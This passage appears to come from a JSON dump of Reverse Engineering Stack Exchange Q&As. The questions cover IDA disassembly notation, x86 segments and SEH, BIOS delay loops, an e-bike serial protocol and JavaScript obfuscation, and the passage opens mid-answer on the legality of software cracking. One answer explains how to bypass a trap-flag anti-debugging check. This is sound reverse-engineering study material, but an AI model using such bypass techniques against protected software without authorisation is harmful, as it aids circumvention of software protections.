can not act against, the public will not stand in silence if someone does the same thing, peeing in the pool, from the diving stand.</p>\n</blockquote>\n\n<p>This goes to say if you're doing something wrongful, which you're aware might have legal implications, you should at least do it in private and not boast about it.</p>\n\n<p>Now, for the legality of cracking a piece of software and reporting that to the manufacturer; Although this greatly depends on the laws in the country / state you live in, it is usually not <em>illegal per say</em> but does violate most End User License Agreements, which you're bound to by using the software. Most software EULAs explicitly forbid any type of reverse engineering of the provided software and any of it's components. </p>\n"
    },
    {
        "Id": "18946",
        "CreationDate": "2018-07-31T14:41:24.623",
        "Body": "<p>Consider the following code:</p>\n\n<p>In C++:</p>\n\n<pre><code>SomeClass* globalPointer; // we don't know what it points to, but it's not null a pointer, it's initialized\n\nvoid someFunction()\n{\n  globalPointer-&gt;someVirtualFunction();\n}\n</code></pre>\n\n<p>In IDA (inside <code>someFunction</code>):</p>\n\n<pre><code>mov     ecx, dword_XXXX ; ecx = globalPointer\nmov     eax, [ecx] ; eax = vtable\njmp     dword ptr [eax+30h] ; call vtable[0x30]\n</code></pre>\n\n<p>The meaning of <code>dword_XXXX</code> is just a pointer value. I tried to check it this way:</p>\n\n<pre><code>printf(\"Address of pointer = %p, pointer's value = %p\\n\", &amp;otherPointer, otherPointer);\n</code></pre>\n\n<p>And I got:</p>\n\n<pre><code>push dword_XXXX ; otherPointer\npush offset dword_XXXX ; &amp;otherPointer\npush offset format ; \"Address of pointer = %p, pointer's value = %p\\n\"\n\ncall printf\n</code></pre>\n\n<p>Thus <code>dword_XXXX</code> seems to be a pointer's value and <code>offset dword_XXXX</code> seems to be an address of the pointer.</p>\n\n<p>However, I noticed another code (which can be expressed the same as the c++ function I provided above):</p>\n\n<pre><code>SomeClass2* globalPointer2;\n\nvoid someFunction2()\n{\n  globalPointer2-&gt;someVirtualFunction2();\n}\n</code></pre>\n\n<p>And IDA surprisingly gave me (inside <code>someFunction2</code>):</p>\n\n<pre><code>mov eax, dword_XXXX ; eax = globalPointer2\nmov ecx, offset dword_XXXX ; ecx = &amp;globalPointer2\njmp dword ptr [eax+5Ch] ; call [globalPointer2+0x5C] with &amp;globalPointer2 as this?? It should be call vtable[0x5C]\n</code></pre>\n\n<p>I checked the values and found out that IDA somehow \"changes\" the meaning of <code>dword_XXXX</code>, in this case it actually was:</p>\n\n<pre><code>mov eax, dword_XXXX ; eax = vtable\nmov ecx, offset dword_XXXX ; ecx = globalPointer2\njmp dword ptr [eax+5Ch] ; call vtable[0x5C]\n</code></pre>\n\n<p>Why the meaning of <code>dword_XXXX</code> was different in the second case? In the first case it was just <code>pointer</code>, but in the second case it was <code>*pointer</code>.</p>\n\n<p>And the meaning of <code>offset dword_XXXX</code> in the first case was <code>&amp;pointer</code> and in the second case was <code>pointer</code>.</p>\n\n<p>I'm sorry if something is unclear, I really tried to simplify that as much as possible.</p>\n",
        "Title": "What's the meaning of dword_XXXX and offset dword_XXXX in IDA?",
        "Tags": "|ida|x86|nasm|",
        "Answer": "<p>I think I figured out what's going on.</p>\n\n<p>The opcodes for the printing were (assuming <code>dword_AAAAAAAA</code> instead of general <code>dword_XXXX</code>):</p>\n\n<pre><code>FF 35 AA AA AA AA    push dword_AAAAAAAA; otherPointer\n68 AA AA AA AA       push offset dword_AAAAAAAA; &amp;otherPointer\n</code></pre>\n\n<p>Thanks to <a href=\"https://defuse.ca/online-x86-assembler.htm\" rel=\"nofollow noreferrer\">this</a> site, I know that the above instructions are equal to:</p>\n\n<pre><code>push [0xAAAAAAAA]; push otherPointer\npush 0xAAAAAAAA;   push &amp;otherPointer\n</code></pre>\n\n<p>So, in this case, <code>dword_XXXX</code> is equal to value of a pointer. However, in the second case (again assuming <code>dword_AAAAAAAA</code> instead of general <code>dword_XXXX</code>):</p>\n\n<pre><code>A1 AA AA AA AA    mov eax, dword_AAAAAAAA ; eax = vtable\nB9 AA AA AA AA    mov ecx, offset dword_AAAAAAAA ; ecx = globalPointer2\n</code></pre>\n\n<p>And it's equal to:</p>\n\n<pre><code>mov eax, [0xAAAAAAAA] ; eax = vtable\nmov ecx, 0xAAAAAAAA ; ecx = globalPointer2\n</code></pre>\n\n<p>Thus in this case <code>dword_XXXX</code> is equal to <code>*pointer</code> rather than <code>pointer</code>.</p>\n\n<p>Therefore I think the answer is: it depends. We need to understand what <code>dword_XXXX</code> means - it can be a pointer, an address of the pointer, or even pointer to pointer to pointer, and so on. But IDA gives us a hint: <code>offset dword_XXXX</code> means a raw value of whatever <code>dword_XXXX</code> is and <code>dword_XXXX</code> gives a dereferenced value of it.</p>\n"
    },
    {
        "Id": "18956",
        "CreationDate": "2018-08-01T14:12:52.623",
        "Body": "<p>Consider the following piece of code:</p>\n\n<pre><code>.text:00F74B42 call    sub_12D1130\n.text:00F74B47 mov     eax, dword_15A0C80\n</code></pre>\n\n<p>Now, I want to add a sanity check but as I don't have enough space to do that I remove \"useless\" call instruction and move everything up by 5 bytes.\nSo I end up with:</p>\n\n<pre><code>.text:00F74B42 mov     eax, dword_15A0C80\n.text:00F74B47 test    eax, eax \n.text:00F74B49 jz      loc_xyz\n</code></pre>\n\n<p>Unfortunately when my program gets rebased to different virtual address, <code>dword_15A0C80</code> is not correctly updated, instead, bytes at <code>B47</code> - <code>B4B</code> are.\nI understand that <code>dword_15A0C80</code>'s offset at <code>00F74B47</code> is stored somewhere so when <code>.data</code> segment gets a new virtual address it's updated.\nThe question is where and how to search for it quickly using IDA for instance?</p>\n",
        "Title": "Data moved after program rebase",
        "Tags": "|ida|disassembly|x86|",
        "Answer": "<p>I've come to answer my own question just as a future reference.</p>\n\n<p>As I was not able to find such <code>dword_15A0C80</code>'s reference in the relocation table, I made a simple crawler. It took into consideration all <code>dword_15A0C80</code> occurrences and theirs last bytes that were not too far from each other which basically got me to one result pretty much right away. Note, that it was int16 occupying just 2 bytes, basically just an offset to subroutine which didn't seem significant in any way to me.</p>\n\n<p>Thanks to freenode:##asm:Jester01 for pointing me the right direction.</p>\n"
    },
    {
        "Id": "18966",
        "CreationDate": "2018-08-03T01:22:16.097",
        "Body": "<p>I have an ebike consisting of a controller which regulates power to the motor and a smart LCD which can adjust max speed, power output, pedal assist sensitivity etc as well as displaying the current battery voltage, motor power usage (Watts) and motor speed.<br>\nThe LCD and controller are connected by a 5v rx/tx line. I have connected an arduino mega in series in the middle of the serial lines; controller rx/tx to arduino serial1 tx/rx then arduino serial2 tx/rx to the LCD rx/tx.<br>\nCode is currently passing all received data from controller directly to the LCD and vice versa which works perfectly, LCD values are correct.</p>\n\n<p>I wish to analyse the protocol but can't seem to figure out any sort of structure in it. Currently focusing on Controller -> LCD comms to extract motor values. Seems like all commands start with 02 (start of text in AsciiTable) and most then contain 0E which I initially suspected to be message length however that does not seem to be the case as evident from the following commands:  </p>\n\n<blockquote>\n  <p>02 0E 40 40 00 00 03 0B B8 00 00 35 C8<br>\n  02 0E 01 00 40 00 00 03 0B 98 00 35 C8<br>\n  02 4E 40 40 00 00 03 0B B8 88 54 42 F7<br>\n  02 0E 41 00 0A 00 02 03 B8 00 00 35 C8<br>\n  02 0E 01 00 50 00 D0 0B B8 00 00 05 FE  </p>\n  \n  <p>02 4E 40 40 00 00 03 0B B8 00 35 C8<br>\n  02 4E 40 20 0A 00 03 0A B8 80 35 C8<br>\n  02 4E 40 40 00 00 03 0B B8 88 54 42 F7<br>\n  02 4E 40 08 01 00 03 0B DD 81 A0 93 FE FE FE</p>\n</blockquote>\n\n<p>Here is the full hexdump from roughly 60 seconds of running, messages come in constant stream: <a href=\"https://pastebin.com/iFFEWAFd\" rel=\"nofollow noreferrer\">https://pastebin.com/iFFEWAFd</a><br>\nThat dump will contain values for battery voltage ( 45-52.4V ), motor power usage (0-1000Watts, could also be 0-10Amps ) and possibly wheel speed. Likely some other params in there also.</p>\n\n<p>The Command </p>\n\n<blockquote>\n  <p>02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8</p>\n</blockquote>\n\n<p>is by far most popular accounting for over half the messages. Could this be a heartbeat possibly?<br>\nHere is the same paste without that command for easier reading: <a href=\"https://pastebin.com/b5iQugaY\" rel=\"nofollow noreferrer\">https://pastebin.com/b5iQugaY</a></p>\n\n<p>PDF Manual for LCD: <a href=\"http://www.pedelecs.co.uk/wp-content/uploads/2017/04/mdrivelcdmanual.pdf\" rel=\"nofollow noreferrer\">www.pedecs.co.uk</a><br>\nNot found any sort of manual for controller as of yet. </p>\n\n<p>Thank you for any insight provided, i'm still getting my head around this whole reverse engineering thing.</p>\n\n<p>UPDATE:\nI have managed to isolate several commands. The command previously thought to be a heartbeat is infact the speed 0. Here is a dump of the bike decelerating from 19mph to 0mph:</p>\n\n<pre><code>02 0E 01 00 40 00 00 03 00 F5 00 00 35 8E \n02 0E 01 00 40 00 00 03 00 FD 00 00 35 86 \n02 0E 01 00 40 00 00 03 01 05 00 00 35 7F \n02 0E 01 00 40 00 00 03 00 0C 00 00 35 74\n02 0E 01 00 40 00 00 03 01 25 00 00 35 AE \n02 0E 01 00 40 00 00 03 01 3F 00 00 35 45 \n02 0E 01 00 40 00 00 03 01 4F 00 00 35 35 \n02 0E 01 00 40 00 00 03 01 4F 00 00 35 35 \n02 0E 01 00 40 00 00 03 01 60 00 00 35 1A \n02 0E 01 00 40 00 00 03 01 60 00 00 35 1A \n02 0E 01 00 40 00 00 03 01 76 00 00 35 0C \n02 0E 01 00 40 00 00 03 01 76 00 00 35 0C \n02 0E 01 00 40 00 00 03 01 8E 00 00 35 F4 \n02 0E 01 00 40 00 00 03 01 8E 00 00 35 F4 \n02 0E 01 00 40 00 00 03 01 AB 00 00 35 D1 \n02 0E 01 00 40 00 00 03 01 AB 00 00 35 D1 \n02 0E 01 00 40 00 00 03 01 CE 00 00 35 B4 \n02 0E 01 00 40 00 00 03 01 CE 00 00 35 B4 \n02 0E 01 00 40 00 00 03 01 CE 00 00 35 B4 \n02 0E 01 00 40 00 00 03 01 FC 00 00 35 86\n02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 \n02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 \n02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 \n02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8\n</code></pre>\n\n<p>Only bytes 9,10 and 14 are changing. These values do not correspond directly to speed though, will more likely somehow relate to RPM as the LCD knows wheel size and displayed speed changes for any given command when I manually change expected wheel size value.</p>\n\n<p>Update2:\nbytes 9 and 10 combine to output a value between 0-3000. This value is the ms between full rotations of the wheel thus allowing for calculation of speed given you know the circumference. Byte 14 appears to be a checksum of some sort, would be handy if anyone could workout how this is calculated.</p>\n",
        "Title": "Decipher variable length serial protocol",
        "Tags": "|hex|serial-communication|protocol|hexadecimal|",
        "Answer": "<p>I understand your Arduino serves as a relay in the middle between the controller and the LCD. What you could do (not extremely exciting, but you did not mention whether you made similar experiments already, and I hope I understood your situation well):</p>\n\n<ol>\n<li>Modification of single bits. If you visually observe the display and connect a switch at your Arduino serving as a trigger to modify one or more single bits in the direction to the display, and observe which display indication changes.</li>\n<li>The same in the opposite direction. Observe if the bike changes its behaviour.</li>\n<li>Suppress your heartbeat telegrams and observe what happens.</li>\n<li>An easy experiment would be to switch on the bike's light and observe the changes in the telegrams.</li>\n<li>Add timestamps to your telegrams. If you install a trigger at your Arduino, give it a timestamp too, to have the exact change time in the telegram log.</li>\n</ol>\n\n<p>In short, try to make changes (one at a time) in a defined way  either at the bike or in the telegrams or groups of telegrams and observe if it gives you hints about the content.</p>\n\n<p>Another question would be if you cross-checked your Arduino telegram decoding, e.g. with some passive sniffer. I understand you trust your decoder because everything works as before (without the Arduino in between). But this might simply be due to the fact that corrupted telegrams are discarded.</p>\n\n<p>A coarse inspection of your log shows properties not easily understood.</p>\n\n<p><strong>Example</strong>: The lines <em>#133</em> and <em>#134</em> in the file <strong>ebike_sw_hex_dump.txt</strong> (the one with the heartbeat):</p>\n\n<pre><code>02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8\n02 0E 01 00 40 00 03 0B B8 00 00 35 C8\n</code></pre>\n\n<p>The second telegram is identical to the first one except from the missing zero in the middle. In particular the last seven bytes are identical. If I assume that the logical content of these last seven bytes is identical in both telegrams, how should an interpreter come to this conclusion? </p>\n\n<p>The \"protocol switch\" would probably be the byte after the <code>40</code>. This however would contradict the assumption that the last seven bytes mean the same. </p>\n\n<p>From this example and other strange lines, e.g. those with the FE or FF at the end, I would suggest an independent cross-check of the decoder, just to make sure that your log shows the correct bytes. Similar as you suspected, in such a system I would have expected constant telegram lengths as well.</p>\n\n<p>Of course, there is more which could be tried. These were just some simple ideas which came into mind.</p>\n\n<p>A similar experiment as yours is published in the web, under <a href=\"https://endless-sphere.com/forums/viewtopic.php?f=2&amp;t=73471#p1109048\" rel=\"nofollow noreferrer\">https://endless-sphere.com/forums/viewtopic.php?f=2&amp;t=73471#p1109048</a>, decoded protocol attached, however with a different controller, and showing no obvious similarity to your logs. But maybe it gives some hints as well. </p>\n\n<p>In any case, a nice study!</p>\n"
    },
    {
        "Id": "18967",
        "CreationDate": "2018-08-03T01:34:49.303",
        "Body": "<p>So, I have a program which I am 99% sure it is using Lua as when I look at string references I see this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/dppK1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dppK1.png\" alt=\"Lua Copyright Version\"></a></p>\n\n<p>Which I am understanding that somewhere in this program they have statically linked a Lua C or something of the sort, so I did a quick Google for Lua 5.2.1 Libraries, I found <a href=\"https://sourceforge.net/projects/luabinaries/files/5.2.1/Windows%20Libraries/Static/\" rel=\"nofollow noreferrer\">this</a> which is a link to the Source Forge for Lua static libraries for 5.2.1, so I downloaded it, opened up the IDA SDK, and ran:</p>\n\n<pre><code>.\\pcf.exe .\\lua52.lib .\\lua52.pat\n</code></pre>\n\n<p>which returns: </p>\n\n<pre><code>...\\lua52.lib: skipped 0, total 793\n</code></pre>\n\n<p>Which I interpret to understand it found 793 signatures or something similar, so then I ran:</p>\n\n<pre><code>.\\sigmake.exe .\\lua52.pat .\\lua52.pat\n</code></pre>\n\n<p>Which returns an error;</p>\n\n<pre><code>.\\lua52.pat: modules/leaves: 767/793, COLLISIONS: 1\nSee the documentation to learn how to resolve collisions.\n</code></pre>\n\n<p>Which I assume meant I had to use the -r switch, so I reran it</p>\n\n<pre><code>.\\sigmake.exe -r .\\lua52.pat .\\lua52.sig\n</code></pre>\n\n<p>It generated no errors and produced the sig file, so I dropped it in the sig directory in IDA which lets it show up, so when I go to apply \n<a href=\"https://i.stack.imgur.com/7c2aa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7c2aa.png\" alt=\"Lua Signature Image In IDA\"></a>\nit shows up which I expected, I add it to IDA, it tells me there are<a href=\"https://i.stack.imgur.com/h0VXe.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/h0VXe.png\" alt=\"Proof of references\"></a> references, but nothing I am \"sure\" is Lua gets renamed? Is that expect or not? I know this line</p>\n\n<pre><code>sub_140856EE0(v1, (__int64)\"field '%s' missing in date table\", \"year\");\n</code></pre>\n\n<p>is Lua because when you google the middle field it tells it's a Lua using a Lua function. Finally I've ran a reanalyses to make sure it looks back through the file to give it a once over.</p>\n\n<p>Have I missed something obvious here?</p>\n",
        "Title": "FLIRT Signature Applied, IDA shows references but no auto rename?",
        "Tags": "|ida|flirt-signatures|lua|",
        "Answer": "<p>It might help if you use the same architecture as the target process...\nBut that doesn't fully explain why the other non x64 FLIRT signature doesn't rename stuff even if the window says it found X refs </p>\n"
    },
    {
        "Id": "18977",
        "CreationDate": "2018-08-04T23:12:03.950",
        "Body": "<p>I am trying to protect my app code from theft. Since most of it is written in javascript I had to use many obfuscation techniques to make it incomprehensible.</p>\n\n<p>I have written a very small piece of code for demonstration purposes (under 20 lines) which has been obfuscated. I wonder how easy it is to reverse engineer or is it difficult enough to make life a hell?</p>\n\n<p>Here a demo with the code:</p>\n\n<p><a href=\"http://jsfiddle.net/0s84pxvc/1/\" rel=\"nofollow noreferrer\">http://jsfiddle.net/0s84pxvc/1/</a></p>\n\n<p><strong>Goal:</strong> can you find out how the string inside the alert is generated when you fire a click event on the window? </p>\n",
        "Title": "Is deobfuscation of my javascript code hard or easy?",
        "Tags": "|obfuscation|deobfuscation|javascript|",
        "Answer": "<pre><code>setInterval(function () {\n  _0x58c724();\n}, 4000);\nclass a {\n  constructor() {\n    alert(&quot;I am obfuscated...&quot;);\n    window.addEventListener(&quot;click&quot;, this.Handler.bind(this));\n  }\n  Handler(a) {\n    let b = 0;\n    for (let c = 0; c &lt; 24; c++) {\n      b++;\n    }\n    alert(&quot;I am still &quot; + b + &quot; hours a day obfuscated!&quot;);\n  }\n}\nconst b = new a();\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/uZhOD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/uZhOD.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "18978",
        "CreationDate": "2018-08-05T00:36:24.013",
        "Body": "<p>I am trying to reverse a program which is employing some kind of anti-debugging trick based on the use of  SEHs and the TF. The code stars with:</p>\n\n<p><a href=\"https://i.stack.imgur.com/fzMTz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fzMTz.png\" alt=\"enter image description here\"></a></p>\n\n<p>So apparently it's generating an exception with</p>\n\n<pre><code>XOR DWORD PTR [ESP], 154h\n</code></pre>\n\n<p>Which ultimately terminates with a call to <code>ExitProcess()</code> without even running the program.</p>\n\n<p>I tried using <code>NOP</code>s to bypass this but since upon execution the EP is already pointing to this problematic piece of code it did not work. </p>\n\n<p>How can  I bypass this and what's really triggering the exception?</p>\n",
        "Title": "Trap Flag - Anti-debugging trick",
        "Tags": "|windows|x86|anti-debugging|",
        "Answer": "<p>It is setting a trap flag with that xor instruction </p>\n\n<p>when it is run normally (not under debugger)</p>\n\n<p>the trap flag is triggered so the handler gets a chance to execute </p>\n\n<p>when the binary is run under debugger the trap flag is ignored \nand the handler doesn't get a chance to execute</p>\n\n<p>hard patch to point to the handler directly or simply change the eip in debugger  for analyzing </p>\n\n<p>your screenshot looks like you are using ollydbg </p>\n\n<p>if so just press shift + f9 after setting a breakpoint at 0x401060  @ the seh handler  that would pass the exception to the program and would bypass the trick</p>\n"
    },
    {
        "Id": "18981",
        "CreationDate": "2018-08-05T10:59:55.710",
        "Body": "<p>I'm debugging an old PC BIOS and see a lot of what I assume are delay sequences, using 0-byte jump instructions (<code>EB 00</code> = <code>jmp short $+2</code>).</p>\n\n<p><a href=\"https://i.stack.imgur.com/qaux2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/qaux2.png\" alt=\"perform some I/O and three &quot;pointless&quot; jumps\"></a></p>\n\n<p>Why this particular instruction? I'm guessing it must have some desirable timing properties.</p>\n\n<p>The CPU in question is a 386SX clocked at 16MHz.</p>\n",
        "Title": "Why are these 0-byte jumps used as a delay?",
        "Tags": "|disassembly|x86|bios|",
        "Answer": "<p>Here's a fragment from the leaked AWARD BIOS source code (file <code>COMMON.MAC</code>):</p>\n\n<pre><code>SIODELAY    MACRO               ; SHORT IODELAY\n        jmp short $+2\n        ENDM\n\nIODELAY     MACRO               ; NORMAL IODELAY\n        siodelay\n        siodelay\n        ENDM\n\nWAFORIO     MACRO               ; NORMAL IODELAY\n        siodelay\n        siodelay\n        siodelay\n        siodelay\n        siodelay\n        siodelay\n        ENDM\n\nNEWIODELAY      MACRO\n        out 0ebh,al              \n            ENDM  \n</code></pre>\n\n<p>So apparently this was intended specifically as a delay after I/O operations, presumably to give the potentially slow hardware time to process the request from the CPU.</p>\n\n<p>I also found this in the <a href=\"http://www.edm2.com/index.php/OS/2_Device_Driver_Frequently_Asked_Questions#Is_a_delay_necessary_between_I.2FO_operations\" rel=\"nofollow noreferrer\">OS/2 programming FAQ</a>:</p>\n\n<blockquote>\n  <p><strong>Question</strong>: I looked at some code in ddk\\src\\dev\\mouse\\bus.asm which diddles with the interrupt controller, and it calls MyIODelay in\n  between IN and OUT instructions. I'm not clear why these are required.\n  It says something about letting the bus catch up - is this brain dead\n  hardware or what? </p>\n  \n  <p><strong>Answer</strong>: You were right first time - brain dead hardware. \"Some\" (not all) IO devices cannot do: </p>\n\n<pre><code>  in al,dx\n  or al,MASK\n  out dx,al\n</code></pre>\n  \n  <p>as the CPU is faster than the IO peripherals, received wisdom is that\n  you should put an arbitrary small delay between IO access to the same\n  IO device. And most people use: </p>\n\n<pre><code>  in al,dx\n  or al,MASK\n     jmp next_instruction\nnext_instruction:\n  out dx,al\n</code></pre>\n  \n  <p>The jump op has the additional \"benefit\" of flushing the CPUs\n  instruction pipeline and thereby slowing down processing even more.</p>\n</blockquote>\n\n<p>It's not quite the pattern in your snippet so could be just an instance of cargo-cult copypasting.</p>\n"
    },
    {
        "Id": "18982",
        "CreationDate": "2018-08-05T11:49:29.020",
        "Body": "<p>I want to generate this assembly code:</p>\n\n<pre><code>mov ecx, &lt;absolute address of func1&gt;\ncall ecx\n</code></pre>\n\n<p>How can I write and compile C code which generates this code?</p>\n",
        "Title": "Generate this assembly from a c program",
        "Tags": "|assembly|c|",
        "Answer": "<p>Usually the compiler will generate the call using the address of the function directly. But since in your case it uses a register, it reminds me of C++ vtables. \nSo in C, how about calling a pointer to a function? Something like this:</p>\n\n<pre><code>void (*fptr)(void);\nvoid foo(void) {\n   /* some code */\n}\nfptr = foo;\n(*fptr)();   /* &lt;-- your indirect call generated here */\n</code></pre>\n"
    },
    {
        "Id": "18983",
        "CreationDate": "2018-08-05T11:57:44.370",
        "Body": "<p>I'm debugging an old PC BIOS and it has most of its constant strings interspersed directly with the code, like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/bO5Ee.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/bO5Ee.png\" alt=\"enter image description here\"></a></p>\n\n<p>As the comment notes, the function <code>putsc</code> will take the string as its argument, finding it via the return address! After iterating over the string, it actually patches the stack to make a proper return.</p>\n\n<p><a href=\"https://i.stack.imgur.com/MsNWG.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/MsNWG.png\" alt=\"enter image description here\"></a></p>\n\n<p>My question, and I hope it's not too vague:</p>\n\n<p>Is or was passing constant arguments like this, sticking them right after the call, in any way a common technique for low-level (hand-written?) code such as this?</p>\n\n<p>Why would you even prefer to do it this way rather than using a table of strings elsewhere?</p>\n",
        "Title": "Passing a (string) argument via the return address?",
        "Tags": "|disassembly|x86|bios|",
        "Answer": "<p>This technique allows the code to be position-independent, since there are no explicit references to the specific address that holds the string.  Instead, the call instruction will push onto the stack whatever address was current at the time.  Depending on the assembler (if any) that was used to produce the code, this might simplify some things.  If the code was entirely hand-crafted by typing in hex values, then having position-independence allows other instructions to be inserted without having to recalculate addresses.</p>\n"
    },
    {
        "Id": "18985",
        "CreationDate": "2018-08-05T14:54:14.263",
        "Body": "<p>I am reversing a 32-bits ELF executable.</p>\n\n<p>I see something like:</p>\n\n<pre><code>mov al, byte ptr ds:xxxxx\n</code></pre>\n\n<p><code>xxxxx</code> is an absolute address.\nWhat is the meaning of <code>ds</code> here?</p>\n",
        "Title": "What does ds mean in mov instruction?",
        "Tags": "|assembly|",
        "Answer": "<p>this answer is just to address the query in comment </p>\n\n<blockquote>\n  <p>And for example fs[0] on win32 points on TIb structure. Is there\n  another way to get this address ? (I mean where is it in the 4Gb\n  address Space of process?)</p>\n</blockquote>\n\n<p>in user mode the thread environment block is pointed by fs:[0]</p>\n\n<p>you can view it in the virtual address space using any of the following commands under windbg </p>\n\n<pre><code>0:000&gt; ? fs\nEvaluate expression: 59 = 0000003b\n0:000&gt; dd fs:[0] l 8\n003b:00000000  0012f5b0 00130000 0012d000 00000000\n003b:00000010  00001e00 00000000 7ffdf000 00000000\n0:000&gt; dd 3b:00000000 l8\n003b:00000000  0012f5b0 00130000 0012d000 00000000\n003b:00000010  00001e00 00000000 7ffdf000 00000000\n0:000&gt; dd @$thread l8\n7ffdf000  0012f5b0 00130000 0012d000 00000000\n7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000&gt; dd @$teb l8\n7ffdf000  0012f5b0 00130000 0012d000 00000000\n7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000&gt; ? @$teb\nEvaluate expression: 2147348480 = 7ffdf000\n0:000&gt; ? @$thread\nEvaluate expression: 2147348480 = 7ffdf000\n</code></pre>\n\n<p>confirming using ds selector </p>\n\n<pre><code>0:000&gt; ? ds\nEvaluate expression: 35 = 00000023\n0:000&gt; dd ds:[7ffdf000] l8\n0023:7ffdf000  0012f5b0 00130000 0012d000 00000000\n0023:7ffdf010  00001e00 00000000 7ffdf000 00000000\n</code></pre>\n\n<p>in x86 cs es ds and ss all will point to same virtual address \nbut fs and gs wont as seen below</p>\n\n<pre><code>0:000&gt; ? ds\nEvaluate expression: 35 = 00000023\n0:000&gt; dd ds:[7ffdf000] l8\n0023:7ffdf000  0012f5b0 00130000 0012d000 00000000\n0023:7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000&gt; ? cs\nEvaluate expression: 27 = 0000001b\n0:000&gt; dd cs:[7ffdf000] l8\n001b:7ffdf000  0012f5b0 00130000 0012d000 00000000\n001b:7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000&gt; dd es:[7ffdf000] l8\n0023:7ffdf000  0012f5b0 00130000 0012d000 00000000\n0023:7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000&gt; dd ss:[7ffdf000] l8\n0023:7ffdf000  0012f5b0 00130000 0012d000 00000000\n0023:7ffdf010  00001e00 00000000 7ffdf000 00000000\n0:000&gt; dd fs:[7ffdf000] l8\n003b:7ffdf000  ???????? ???????? ???????? ????????\n003b:7ffdf010  ???????? ???????? ???????? ????????\n0:000&gt; dd gs:[7ffdf000] l8\n0000:f000  ???????? ???????? ???????? ????????\n0000:f010  ???????? ???????? ???????? ????????\n</code></pre>\n"
    },
    {
        "Id": "18995",
        "CreationDate": "2018-08-06T12:30:02.300",
        "Body": "<p>I have read this kind of code in some tutorials :</p>\n\n<pre><code>push handler ; Address of handler function\npush FS:[0] ; Address of previous handler\nmov FS:[0],ESP ; Install new Handler\n</code></pre>\n\n<p>I do not understand something: for me the 2 push are not in the good order. \nESP points on old handler ?\nBut all tutorials i have read works like this... so if can anyone explain me...</p>\n",
        "Title": "Win32 SEH address",
        "Tags": "|seh|",
        "Answer": "<p>fs:[0] points to ETHREAD<br>\nwhose first is member NtTib which again is a structure<br>\nwhose first member is _EXCEPTION_REGISTRATION_RECORD  </p>\n\n<pre><code>0:000&gt; dt ntdll!_TEB NtTib.* @$thread\n   +0x000 NtTib  : \n      +0x000 ExceptionList : 0x0010f76c _EXCEPTION_REGISTRATION_RECORD\n      +0x004 StackBase : 0x00110000 Void\n      +0x008 StackLimit : 0x0010d000 Void\n      +0x00c SubSystemTib : (null) \n      +0x010 FiberData : 0x00001e00 Void\n      +0x010 Version : 0x1e00\n      +0x014 ArbitraryUserPointer : (null) \n      +0x018 Self   : 0x7ffde000 _NT_TIB\n\n\n\n0:000&gt; ? @$thread\nEvaluate expression: 2147344384 = 7ffde000\n</code></pre>\n\n<p>the exception registration record contains the chain of exception handlers</p>\n\n<pre><code>0:000&gt; dx -r2 ((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x10f76c)\n((ntdll!_EXCEPTION_REGISTRATION_RECORD *)0x10f76c)                 : 0x10f76c [Type: _EXCEPTION_REGISTRATION_RECORD *]\n    [+0x000] Next             : 0x10f91c [Type: _EXCEPTION_REGISTRATION_RECORD *]\n        [+0x000] Next             : 0xffffffff [Type: _EXCEPTION_REGISTRATION_RECORD *]\n        [+0x004] Handler          : 0x77ade115 [Type: _EXCEPTION_DISPOSITION (*)(_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]\n    [+0x004] Handler          : 0x77ade115 [Type: _EXCEPTION_DISPOSITION (*)(_EXCEPTION_RECORD *,void *,_CONTEXT *,void *)]\n        [Type: 